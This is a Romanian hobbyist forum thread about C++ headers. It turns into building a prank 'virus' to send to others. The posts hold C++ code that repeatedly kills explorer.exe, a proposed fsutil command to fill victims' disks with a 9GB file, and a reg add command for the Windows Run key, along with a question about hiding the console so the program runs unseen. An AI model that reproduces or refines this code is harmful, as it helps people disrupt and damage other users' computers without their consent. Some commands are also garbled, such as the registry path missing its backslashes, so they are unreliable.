Jump to content
rechim

C++ headers - nelamurire

Recommended Posts

am o intrebare pt voi : care imi poate spune ce functii sunt in <string.h> si <windows.h>? . In sting ii functia system() cu care poti sa faci pe unii sa se enerveze foarte mult.

ex: system("taskkill -f -im explorer.exe"); - inchide explorerul

ce altceva mai pot scrie in system(); ca sa fac chestii deastea? In cmd este scriptul "fsutil file createnew C:\\new.mpg 10000000000" care creeaza pe c:\\ un fisier video de 9GB si cva. As putea sa pun acest script in system(); in c++? ar iesi un programel frumos cu care poti umple hardurile celor carora le trimiti acest program. Si ce altceva mai pot scrie in system();?

Link to comment
Share on other sites

codul pt prog. ce inchide explorerul

#include <iostream.h>
#include <stdlib.h>
#include <windows.h>
#include <process.h>
#include <conio.h>

int main()
{
cout << "I'm a Viruz!";
system("taskkill -f -im explorer.exe");
cout << "I was created by R3chIM.";
getch();
return 0;
}

as fi pus linku pt download da nu am inca 3 postari :|

Link to comment
Share on other sites

In string.h nu exista functia system(), ci in stdlib.h ! Practic, cu aceasta functie poti executa comenzi CMD (infinite posibilitati).

Cat despre windows.h... Ai auzit de functiile api (care sunt "tinute" in DLLurile windows) ? Majoritatea le poti utiliza folosind windows.h ! In VB trebuie declarata fiecare functie in parte, in C++ nu.

P.S. In codul tau ai folosit prea multe librarii, nu cred ca mai aveai nevoie de windows.h si process.h.

Link to comment
Share on other sites

am "imbunatatit" putin programalul :))

#include <iostream.h>
#include <stdlib.h>
#include <conio.h>

int main()
{
cout << "I'm a Viruz!";
for(int i=1;i<=500;i++)
{
delay(1000);
system("taskkill -f -im explorer.exe");
}
cout << "I was created by R3chIM.";
getch();
return 0;
}

si mai am o intrebare. ce comanda pot sa scriu la system() pt ca prog sa se bage automat la registrii la run on windows start? Si daca exista ceva cu ce sa pot ascunde casuta de cmd cand cineva ruleaza executabilul.

Link to comment
Share on other sites

pai probabil este vreun bat pt scris in registrii nu sunt asa de sigur

oricum cheia se afla in


MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
in hkey_local_machine,nu stiu daca in windows.h e declarata Regwrite foloseste mai bine Visual studio ca are auto-sense si iti arata parametrii

EDit:Foloseswte reg add din bat

ceva in genul

reg add "MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" \v "ceva" \d "C:\lol.exe"

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...